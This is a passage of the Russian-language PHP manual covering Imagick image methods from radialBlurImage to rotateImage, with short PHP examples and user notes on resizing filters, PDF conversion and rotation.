public Imagick::radialBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool

Радиальное размытие изображения.

Список параметров

angle

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::radialBlurImage()

<?php
function radialBlurImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
//Размытие 3 раза с разными радиусами
$imagick->radialBlurImage(3);
$imagick->radialBlurImage(5);
$imagick->radialBlurImage(7);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт имитацию эффекта 3D-кнопки

  • « Imagick::radialBlurImage
  • Imagick::randomThresholdImage »
  • PHP Manual
  • Imagick
  • Создаёт имитацию эффекта 3D-кнопки

Imagick::raiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::raiseImage — Создаёт имитацию эффекта 3D-кнопки

Описание

public Imagick::raiseImage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): bool

Создаёт имитацию трёхмерного эффекта кнопки, осветляя и затемняя края изображения. Ширина и высота элементов raise_info определяют ширину вертикального и горизонтального края эффекта.

Список параметров

width

height

x

y

raise

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::raiseImage()

<?php
function raiseImage($imagePath, $width, $height, $x, $y, $raise) {
$imagick = new \Imagick(realpath($imagePath));

//x и y ничего не делают?
$imagick->raiseImage($width, $height, $x, $y, $raise);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт высококонтрастное двухцветное изображение

  • « Imagick::raiseImage
  • Imagick::readImage »
  • PHP Manual
  • Imagick
  • Создаёт высококонтрастное двухцветное изображение

Imagick::randomThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::randomThresholdImage — Создаёт высококонтрастное двухцветное изображение

Описание

public Imagick::randomThresholdImage(float $low, float $high, int $channel = Imagick::CHANNEL_DEFAULT): bool

Изменяет значение отдельных пикселей в зависимости от интенсивности каждого пикселя по сравнению с пороговым значением. В результате получается высококонтрастное двухцветное изображение. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

low

Нижняя точка.

high

Верхняя точка.

channel

Укажите любую константу CHANNEL, которая подходит для заданного режима канала. Для применения более чем к одному каналу необходимо объединить константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::randomThresholdImage()

<?php
function randomThresholdimage($imagePath, $lowThreshold, $highThreshold, $channel) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->randomThresholdimage(
$lowThreshold * \Imagick::getQuantum(),
$highThreshold * \Imagick::getQuantum(),
$channel
);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Читает изображение из файла

  • « Imagick::randomThresholdImage
  • Imagick::readImageBlob »
  • PHP Manual
  • Imagick
  • Читает изображение из файла

Imagick::readImage

(PECL imagick 2, PECL imagick 3)

Imagick::readImage — Читает изображение из файла

Описание

public Imagick::readImage(string $filename): bool

Читает изображение из файла.

Список параметров

filename

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

lindsay at axys dot co dot nz 03-Mar-2015 11:53
If you have just uploaded the PDF and want to generate an image from the first page, the [0] needs to be added to the image name as a text string.

        $filename = getSafeFileName($uploaddir,basename($_FILES['brochure_pdf']['name'], $overwrite));
        $uploadfile = $uploaddir . $filename;
        if (move_uploaded_file($_FILES['brochure_pdf']['tmp_name'], $uploadfile)) {
              $brochure_pdf = $filename;
            $im = new Imagick();
            $im->setResolution(80,80);
            $im->readimage($uploadfile."[0]");
            $im->setImageFormat('jpeg');
            $image_name = "save_as_name.jpg";
            $imageprops = $im->getImageGeometry();
            if ($imageprops['width'] <= 175 && $imageprops['height'] <= 300) {
                // don't upscale
             } else {
                 $im->resizeImage(175,300, imagick::FILTER_LANCZOS, 0.9, true);
             }

            $im->writeImage($uploaddir .$image_name);
            $im->clear();
            $im->destroy();
holdoffhunger at gmail dot com 10-Jan-2013 03:50
What is the difference between ReadImage and ReadImageFile?  Based by looking at the pages, you would think that they behave the exact same, except in their arguments: ReadImage takes a string containing the folder location of the file, and ReadImageFile takes a handle pointing to the file location.  Initially, the first looks far more tempting, since you don't have to worry about fopen and fclose commands.

But, there is a problem with the ReadImage function!  With an imagemagick object whose data was created from this function, I could scale, change the colors, and perform artistic effects upon the object, without any problems at all, but then there was a problem with saving: it seemed to be keep me stuck to the image format of the original image (in this case, a ".jpg", but it may be different elsewhere).  The functions setImageFormat and setFormat, programmed line after line, provided no effect to changing the format to png, bmp, or gif.  When the only line of code I changed was ReadImage to ReadImageFile, the problem disappears entirely.

Some sample code to demonstrate (using PHP Version 5.2.17).  Input Filename: test.jpg.  Output Filenames: test_result_bad.bmp, test_result_bad.png, test_result_good.bmp, test_result_good.png.  The resultant filesizes should be enough to convince you that all bad files are merely duplicate jpgs...

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Image Location
        // ------------------------------

    $image_file_location = "test.jpg";

        // Create Objects
        // ------------------------------

    $imagick_type_bad = new Imagick();
    $imagick_type_good = new Imagick();

        // Grab Data - BAD METHOD
        // ------------------------------

    $imagick_type_bad->readImage($image_file_location);

        // Grab Data - GOOD METHOD
        // ------------------------------

    $file_handle_for_viewing_image = fopen($image_file_location, 'a+');

    $imagick_type_good->readImageFile($file_handle_for_viewing_image);

    fclose($file_handle_for_viewing_image);

        // Save File - BAD DATA
        // ------------------------------

    $file_handle_for_saving_bad_bmp = fopen("test_result_bad.bmp", 'a+');

    $imagick_type_bad_bmp = clone $imagick_type_bad;
    $imagick_type_bad_bmp->setImageFormat("bmp");
    $imagick_type_bad_bmp->setFormat("bmp");
    $imagick_type_bad_bmp->writeImageFile($file_handle_for_saving_bad_bmp);

    fclose($file_handle_for_saving_bad_bmp);

    $file_handle_for_saving_bad_png = fopen("test_result_bad.png", 'a+');

    $imagick_type_bad_png = clone $imagick_type_bad;
    $imagick_type_bad_png->setImageFormat("png");
    $imagick_type_bad_png->setFormat("png");
    $imagick_type_bad_png->writeImageFile($file_handle_for_saving_bad_png);

    fclose($file_handle_for_saving_bad_png);

        // Save File - Good DATA
        // ------------------------------

    $file_handle_for_saving_good_bmp = fopen("test_result_good.bmp", 'a+');

    $imagick_type_good_bmp = clone $imagick_type_good;
    $imagick_type_good_bmp->setImageFormat("bmp");
    $imagick_type_good_bmp->setFormat("bmp");
    $imagick_type_good_bmp->writeImageFile($file_handle_for_saving_good_bmp);

    fclose($file_handle_for_saving_good_bmp);

    $file_handle_for_saving_good_png = fopen("test_result_good.png", 'a+');

    $imagick_type_good_png = clone $imagick_type_good;
    $imagick_type_good_png->setImageFormat("png");
    $imagick_type_good_png->setFormat("png");
    $imagick_type_good_png->writeImageFile($file_handle_for_saving_good_png);

    fclose($file_handle_for_saving_good_png);

?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:43
Use this to convert all pages of a PDF to JPG:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
$imagick->writeImages('converted.jpg', false);
?>

If you need better quality, try adding $imagick->setResolution(150, 150); before reading the file!

If you experience transparency problems when converting PDF to JPEG (black background), try flattening your file:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf[0]');
$imagick = $imagick->flattenImages();
$imagick->writeFile('pageone.jpg');
?>

In order to read pages from a PDF-file use [PAGENUMBER] after the filename (pages start from zero!).

Example: Read page #1 from test.pdf

<?php
$imagick = new Imagick();
$imagick->readImage('test.pdf[0]');
$imagick->writeImage('page_one.jpg');
?>


Считывает изображение из двоичной строки

  • « Imagick::readImage
  • Imagick::readImageFile »
  • PHP Manual
  • Imagick
  • Считывает изображение из двоичной строки

Imagick::readImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::readImageBlob — Считывает изображение из двоичной строки

Описание

public Imagick::readImageBlob(string $image, string $filename = ?): bool

Считывает изображение из двоичной строки.

Список параметров

image

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::readImageBlob()

<?php
function readImageBlob() {
$base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAAD
NCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5c
cllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEK
gCAQBVDLuv+V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ
0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGho
aGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S+ofFC6x
v3ZpxJiywakzbvd9r3RWPS9I2+MWk0+kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0
NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhD
Q0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQ
AAAAAElFTkSuQmCC";

$imageBlob = base64_decode($base64);

$imagick = new Imagick();
$imagick->readImageBlob($imageBlob);

header("Content-Type: image/png");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Читает изображение из открытого дескриптора файла

  • « Imagick::readImageBlob
  • Imagick::readimages »
  • PHP Manual
  • Imagick
  • Читает изображение из открытого дескриптора файла

Imagick::readImageFile

(PECL imagick 2, PECL imagick 3)

Imagick::readImageFile — Читает изображение из открытого дескриптора файла

Описание

public Imagick::readImageFile(resource $filehandle, string $fileName = null): bool

Читает изображение из открытого дескриптора файла.

Список параметров

filehandle

fileName

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

quickshiftin at gmail dot com 20-Nov-2014 07:15
The second parameter will update the result of getFilename() if set. Otherwise the result of getFilename() will retain its original value, prior to calling readImageFile().
ben dot james at acknowledgement dot co dot uk 26-Dec-2008 01:00
An example of reading an image file from a URL, using a handle returned by fopen():

<?php
$handle = fopen('http://example.com/foo.jpg', 'rb');
$img = new Imagick();
$img->readImageFile($handle);
$img->resizeImage(128, 128, 0, 0);
$img->writeImage('images/foo.jpg');
?>


Читает изображение из массива имён файлов

  • « Imagick::readImageFile
  • Imagick::recolorImage »
  • PHP Manual
  • Imagick
  • Читает изображение из массива имён файлов

Imagick::readimages

(PECL imagick 2, PECL imagick 3)

Imagick::readimages — Читает изображение из массива имён файлов

Описание

public Imagick::readImages(array $filenames): bool

Читает изображение из массива имён файлов. Все изображения хранятся в одном объекте Imagick.

Список параметров

filenames

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Перекрашивает изображение

  • « Imagick::readimages
  • Imagick::reduceNoiseImage »
  • PHP Manual
  • Imagick
  • Перекрашивает изображение

Imagick::recolorImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::recolorImage — Перекрашивает изображение

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::recolorImage(array $matrix): bool

Преобразование, масштабирование, сдвиг или поворот цветов изображения. Метод поддерживает матрицы переменного размера, но обычно матрица 5x5 используется для RGBA, а 6x6 - для CMYK. Последняя строка должна содержать нормализованные значения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

matrix

Матрица, содержащая значения цвета.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::recolorImage()

<?php
function recolorImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$remapColor = [ 1, 0, 0,
0, 0, 1,
0, 1, 0,];

//$remapColor = [
// 1.438, -0.122, -0.016, 0, 0, -0.03,
// -0.062, 1.378, -0.016, 0, 0, 0.05,
// -0.062, -0.122, 1.483, 0, 0, -0.02,
//];

@$imagick->recolorImage($remapColor);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::displayImage() - Выводит изображение

User Contributed Notes

softmixt at gmail dot com 02-May-2013 11:59
Simple example :

<?php

$image = new Imagick('test.jpg');

$CMYK_color_model = array(0,100,0,0);

$image->recolorImage($CMYK_color_model) ;

header('Content-type: image/jpg');

echo $image
?>


Сглаживает контуры изображения

  • « Imagick::recolorImage
  • Imagick::remapImage »
  • PHP Manual
  • Imagick
  • Сглаживает контуры изображения

Imagick::reduceNoiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::reduceNoiseImage — Сглаживает контуры изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::reduceNoiseImage(float $radius): bool

Сглаживает контуры изображения, сохраняя при этом информацию о краях. Алгоритм работает, заменяя каждый пиксель ближайшим по значению соседом. Сосед определяется радиусом. При использовании радиуса 0, Imagick::reduceNoiseImage() выберет подходящий радиус автоматически.

Список параметров

radius

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::reduceNoiseImage()

<?php
function reduceNoiseImage($imagePath, $reduceNoise) {
$imagick = new \Imagick(realpath($imagePath));
@$imagick->reduceNoiseImage($reduceNoise);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Переназначает цвета изображения

  • « Imagick::reduceNoiseImage
  • Imagick::removeImage »
  • PHP Manual
  • Imagick
  • Переназначает цвета изображения

Imagick::remapImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::remapImage — Переназначает цвета изображения

Описание

public Imagick::remapImage(Imagick $replacement, int $DITHER): bool

Заменяет цвета изображения на те, которые определены параметром replacement. Цвета заменяются наиболее близким из возможных. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.5 или старше.

Список параметров

replacement

Объект Imagick, содержащий заменяющие цвета.

DITHER

Обратитесь к списку констант DITHERMETHOD.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет изображение из списка изображений

  • « Imagick::remapImage
  • Imagick::removeImageProfile »
  • PHP Manual
  • Imagick
  • Удаляет изображение из списка изображений

Imagick::removeImage

(PECL imagick 2, PECL imagick 3)

Imagick::removeImage — Удаляет изображение из списка изображений

Описание

public Imagick::removeImage(): bool

Удаляет изображение из списка изображений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет именованный профиль изображения и возвращает его

  • « Imagick::removeImage
  • Imagick::render »
  • PHP Manual
  • Imagick
  • Удаляет именованный профиль изображения и возвращает его

Imagick::removeImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::removeImageProfile — Удаляет именованный профиль изображения и возвращает его

Описание

public Imagick::removeImageProfile(string $name): string

Удаляет именованный профиль изображения и возвращает его.

Список параметров

name

Возвращаемые значения

Возвращает строку, содержащую профиль изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отображает все предыдущие команды рисования

  • « Imagick::removeImageProfile
  • Imagick::resampleImage »
  • PHP Manual
  • Imagick
  • Отображает все предыдущие команды рисования

Imagick::render

(PECL imagick 2, PECL imagick 3)

Imagick::render — Отображает все предыдущие команды рисования

Описание

public Imagick::render(): bool

Отображает все предыдущие команды рисования.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Преобразует изображение к желаемому разрешению

  • « Imagick::render
  • Imagick::resetImagePage »
  • PHP Manual
  • Imagick
  • Преобразует изображение к желаемому разрешению

Imagick::resampleImage

(PECL imagick 2, PECL imagick 3)

Imagick::resampleImage — Преобразует изображение к желаемому разрешению

Описание

public Imagick::resampleImage(
float $x_resolution,
float $y_resolution,
int $filter,
float $blur
): bool

Преобразует изображение к желаемому разрешению.

Список параметров

x_resolution

y_resolution

filter

blur

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::resampleImage()

<?php
function resampleImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->resampleImage(200, 200, \Imagick::FILTER_LANCZOS, 1);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

simon 01-Dec-2015 12:13
Please not that I had extremely high CPU usage using this function on Ubuntu linux 15.10. Switching to the resizeImage function fixed the problem.
bleighty at dvidshub dot net 22-Nov-2013 02:53
Please note that blur of 1 should not affect the image if I'm understanding correctly from this page:
http://www.php.net/manual/en/imagick.resizeimage.php
anagai at yahoo dot com 02-Dec-2011 12:14
Lets say you want to reduce the resolution of uploaded images for the web.

The following will load a image at whatever resolution and resample it down to 72 dpi and save as a different file.

The dpi for setImageResolution() and resampleImage() should be whatever dpi your resampling too.

<?php
$image = new Imagick();
$image->readImage('image.jpg');
$image->setImageResolution(72,72);
$image->resampleImage(72,72,imagick::FILTER_UNDEFINED,0);
$image->writeImage('image72.jpg');
?>


Сбрасывает страницу изображения

  • « Imagick::resampleImage
  • Imagick::resizeImage »
  • PHP Manual
  • Imagick
  • Сбрасывает страницу изображения

Imagick::resetImagePage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::resetImagePage — Сбрасывает страницу изображения

Описание

public Imagick::resetImagePage(string $page): bool

Определение страницы в виде строки. Строка имеет формат WxH+x+y. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

page

Определение страницы. Например, 7168x5147+0+0.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

Roman T. 16-Oct-2012 05:45
This function seems to do the same thing as photoshop feture convas size, you set size of convas and position of your image's top left corner (x,y) inside that convas.


Масштабирует изображение

  • « Imagick::resetImagePage
  • Imagick::rollImage »
  • PHP Manual
  • Imagick
  • Масштабирует изображение

Imagick::resizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::resizeImage — Масштабирует изображение

Описание

public Imagick::resizeImage(
int $columns,
int $rows,
int $filter,
float $blur,
bool $bestfit = false,
bool $legacy = false
): bool

Масштабирует изображение до желаемых размеров с помощью filter.

Замечание: Поведение параметра bestfit было изменено в Imagick 3.0.0. До этой версии при изменении изображения размером 200x150 до 400x300 никаких операций не происходило. В Imagick 3.0.0 и далее изображение будет масштабировано до размеров 400x300, так как это наилучшим образом соответствует ("best fit") данным размерам. Если используется параметр bestfit, то ширина и высота также должны быть определены.

Список параметров

columns

Ширина изображения.

rows

Высота изображения.

filter

Обратитесь к списку констант FILTER.

blur

Коэффициент размытия, где значение > 1 делает изображение более размытым, а значение < 1 - более резким.

bestfit

Необязательный параметр подгонки.

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Добавлен необязательный параметр подгонки. Теперь метод поддерживает пропорциональное масштабирование. Для пропорционального масштабирования необходимо передать ноль в качестве любого параметра.

Примеры

Пример #1 Пример использования Imagick::resizeImage()

<?php
function resizeImage($imagePath, $width, $height, $filterType, $blur, $bestFit, $cropZoom) {
//Коэффициент размытия, где значение > 1 делает изображение более размытым, а значение < 1 - более резким.
$imagick = new \Imagick(realpath($imagePath));

$imagick->resizeImage($width, $height, $filterType, $blur, $bestFit);

$cropWidth = $imagick->getImageWidth();
$cropHeight = $imagick->getImageHeight();

if ($cropZoom) {
$newWidth = $cropWidth / 2;
$newHeight = $cropHeight / 2;

$imagick->cropimage(
$newWidth,
$newHeight,
($cropWidth - $newWidth) / 2,
($cropHeight - $newHeight) / 2
);

$imagick->scaleimage(
$imagick->getImageWidth() * 4,
$imagick->getImageHeight() * 4
);
}

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

phper at krzysiu dot net 02-Jun-2016 12:41
Some size, image and filter and blur combinations causes artifacts or even make image completely scrambled. As far, as I see, it happens with blur values smaller than 0.25 (sometimes less) and goes worse to the point of 0 - black image. Sometimes only some values gives artifacts, like Hanning with my test image: 0.0 blur is fine, 0.1 produces artefacts.

Affected filters are e.g. Catrom, sinc, cubic, quadratic, while unaffected are e.g. Lanczos and Hanning. The problem seems to be the domain of the filter algorithms, not IMagick implementation. This image shows three filters: http://i.imgur.com/HcdwoUS.jpg

Sometimes test image could look fine, but other not, so if you are using affected filters, the 0.5 value should be safe.

This test script takes example image (you can download and use http://i.imgur.com/KsTJpFr.jpg which is affected) and creates resized images in the same directory for every filter and one of four blur values, with naming like "test.jpg.sinc.0.1.jpg" for "test.jpg" input.

<?php
    $imgPath = 'imgtest/test.jpg'; // set your image file
    $testBlurs = [0, 0.1, 0.2, 0.5]; // test these blur values
    $im = new IMagick();
    $im->readImage($imgPath);

    foreach ((new ReflectionClass('IMagick'))->getConstants() as $n => $f) {
        if (strncmp($n, 'FILTER_', 7) === 0) { // get available IMagick filters
            $filterName = strtolower(substr($n, 7)); // extract filter name from constant
            foreach ($testBlurs as $blur) {
                $imSize = clone $im;
                $imSize->resizeImage(500, 500, $f, $blur, true);
                $imSize->writeImage(sprintf("%s-%s-%.1f.jpg", $imgPath, $filterName, $blur));
                $imSize->destroy();
            }
        }
    }

?>
Spitfires 04-Mar-2012 09:39
To avoid upscaling when using the "bestfit" param, check the image dimensions before resizing:

<?php
    $image = new Imagick( $filename );
    $imageprops = $image->getImageGeometry();
    if ($imageprops['width'] <= 200 && $imageprops['height'] <= 200) {
        // don't upscale
    } else {
        $image->resizeImage(200,200, imagick::FILTER_LANCZOS, 0.9, true);
    }
?>
Spitfires 04-Mar-2012 09:27
The changelog comment

  "2.1.0 Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling."

is poorly structured and therefore IMO misleading.  Yes for proportional scaling you pass 0 as either parameter... however this is *not* true if you use the optional fit param.  When bestfit == true you must specify a *non-zero* value for both columns and rows.  Note it WILL still scale proportionally e.g.

   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)

will resize a 1000x750 image to 200x150

So for proportional resizing:
without "bestfit"
   Imagick::resizeImage ( 200, 0,  imagick::FILTER_LANCZOS, 1)

with "bestfit"
   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)
jdhawk at gmail dot com 15-Apr-2011 10:37
In our linux environment, using resizeImage with any filter produced extremely high CPU Utilization (in the range of 40-50%) while doing batch resizing.

We switched to scaleImage, which produces similar results to FILTER_BOX, and CPU Utilization dropped to 2-3%.

Using XHProf to profile the two batch jobs showed amazing decreases in CPU Time, so if you're doing a lot of picture resizing, it might be beneficial to use scaleImage instead of resizeImage, as it seems to be much much more efficient.
dennis at gofolo dot com 08-Nov-2009 06:32
Having to do alot of resizing, i needed to know the speeds of the different resize filters.
This was how long it took to resize a 5906x5906 JPEG image to 1181x1181.

FILTER_POINT took: 0.334532976151 seconds
FILTER_BOX took: 0.777871131897 seconds
FILTER_TRIANGLE took: 1.3695909977 seconds
FILTER_HERMITE took: 1.35866093636 seconds
FILTER_HANNING took: 4.88722896576 seconds
FILTER_HAMMING took: 4.88665103912 seconds
FILTER_BLACKMAN took: 4.89026689529 seconds
FILTER_GAUSSIAN took: 1.93553304672 seconds
FILTER_QUADRATIC took: 1.93322920799 seconds
FILTER_CUBIC took: 2.58396601677 seconds
FILTER_CATROM took: 2.58508896828 seconds
FILTER_MITCHELL took: 2.58368492126 seconds
FILTER_LANCZOS took: 3.74232912064 seconds
FILTER_BESSEL took: 4.03305602074 seconds
FILTER_SINC took: 4.90098690987 seconds

I ended up choosing CATROM as it has a very similar result to LANCZOS, but is significantly faster.
andrabr at gmail dot com 24-Aug-2007 04:08
blur:  > 1 is blurry, < 1 is sharp

To create a nice thumbnail (LANCZOS is the slowest filter):

<?php

$thumb = new Imagick();
$thumb->readImage('myimage.gif');    $thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');
$thumb->clear();
$thumb->destroy();

?>

Or, a shorter version of the same:

<?php

$thumb = new Imagick('myimage.gif');

$thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');

$thumb->destroy();

?>


Смещает изображение

  • « Imagick::resizeImage
  • Imagick::rotateImage »
  • PHP Manual
  • Imagick
  • Смещает изображение

Imagick::rollImage

(PECL imagick 2, PECL imagick 3)

Imagick::rollImage — Смещает изображение

Описание

public Imagick::rollImage(int $x, int $y): bool

Смещает изображение в соответствии с определением x и y.

Список параметров

x

Смещение по оси X.

y

Смещение по оси Y.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::rollImage()

<?php
function rollImage($imagePath, $rollX, $rollY) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->rollimage($rollX, $rollY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 02:12
This function will make the image wrap around from bottom to top or side to side, hence "roll". If you want to just offset an image without the wrap-around, use Imagick::extentImage instead.


Поворачивает изображение

  • « Imagick::rollImage
  • Imagick::rotationalBlurImage »
  • PHP Manual
  • Imagick
  • Поворачивает изображение

Imagick::rotateImage

(PECL imagick 2, PECL imagick 3)

Imagick::rotateImage — Поворачивает изображение

Описание

public Imagick::rotateImage(mixed $background, float $degrees): bool

Поворачивает изображение на указанное количество градусов. Пустые треугольники, оставшиеся от поворота изображения, заполняются цветом фона.

Список параметров

background

Цвет фона.

degrees

Угол поворота в градусах. Угол поворота интерпретируется как количество градусов для поворота изображения по часовой стрелке.

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь разрешено использование строки, представляющей цвет, в качестве первого параметра. Предыдущие версии допускали только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::rotateImage()

<?php
function rotateImage($imagePath, $angle, $color) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->rotateimage($color, $angle);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

gleb dot deykalo at gmail dot com 10-Jun-2016 12:59
Some transformations including Imagick ::rotateImage() may change "image page" -- working area inside the image you work on.

Be careful with future modifications afterwards because the image page would be different from new sizes of the image.

For example, if you do Imagic::cropImage() after rotation, you need to set image page properly, otherwise your crop would be performed relating to wrong coordinates (depending on rotation angle, resulting image size may vary).

<?php
$Image = new Imagick($sourceImagePath);

$transparent = '#00000000';
$Image->rotateImage(new \ImagickPixel(), 45); // This makes resulting image bigger

// Set page to be of the full size of new image, starting at top left corner (0, 0)
$Image->setImagePage($Image->getImageWidth(), $Image->getImageHeight(), 0, 0);

$Image->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
?>
Anonymous 17-Apr-2016 10:43
The degrees for imagick and gd is difference!
GD > rotate 90 means counter clockwise.
Imagick > rotate 90 means clockwise.

GD 90 = Imagick 270 or Imagick 90 = GD 270.

Use this function.

<?php
function calculateCounterClockwise($value)
{
    if ($value == 0 || $value == 180) {
        return $value;
    }
    if ($value < 0 || $value > 360) {
        $value = 90;
    }

    $total_degree = 360;
    $output = intval($total_degree-$value);
    return $output;
}// calculateCounterClockwise

echo '1 = '.calculateCounterClockwise(1).'<br>';
echo '90 = '.calculateCounterClockwise(90).'<br>';
echo '270 = '.calculateCounterClockwise(270).'<br>';
echo '359 = '.calculateCounterClockwise(359).'<br>';
echo '360 = '.calculateCounterClockwise(360).'<br>';
?>

test results:
1 = 359
90 = 270
270 = 90
359 = 1
360 = 0
AlexG 01-Oct-2012 03:56
Transparent

<?php $im->rotateImage(new ImagickPixel('#00000000'), 75); ?>
Baptiste VALTHIER 29-Mar-2011 01:05
You can rotate an jpg image by -13.55° into a transparent png image with :

<?php
$imagick = new Imagick();
$imagick->readImage('my.jpg');
$imagick->rotateImage(new ImagickPixel('none'), -13.55);
$imagick->writeImage('my_rotated.png');
$imagick->clear();
$imagick->destroy();
?>
wjsams at gmail dot com 22-Nov-2008 09:49
If you want to rotate an image by a certain degree you can do this:

<?php
header('content-type: image/jpeg');
$imagick = new Imagick();
$imagick->readImage('castle.jpg');
$imagick->rotateImage(new ImagickPixel(), 90);
print $imagick->getImage();
?>


Применяет вращательное размытие к изображению

  • « Imagick::rotateImage
  • Imagick::roundCorners »
  • PHP Manual
  • Imagick
  • Применяет вращательное размытие к изображению

Imagick::rotationalBlurImage

(PECL imagick 3 >= 3.3.0)

Imagick::rotationalBlurImage — Применяет вращательное размытие к изображению

Описание

public Imagick::rotationalBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool

Применяет вращательное размытие к изображению.

Список параметров

angle

Угол размытия.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::rotationalBlurImage()

<?php
function rotationalBlurImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->rotationalBlurImage(3);
$imagick->rotationalBlurImage(5);
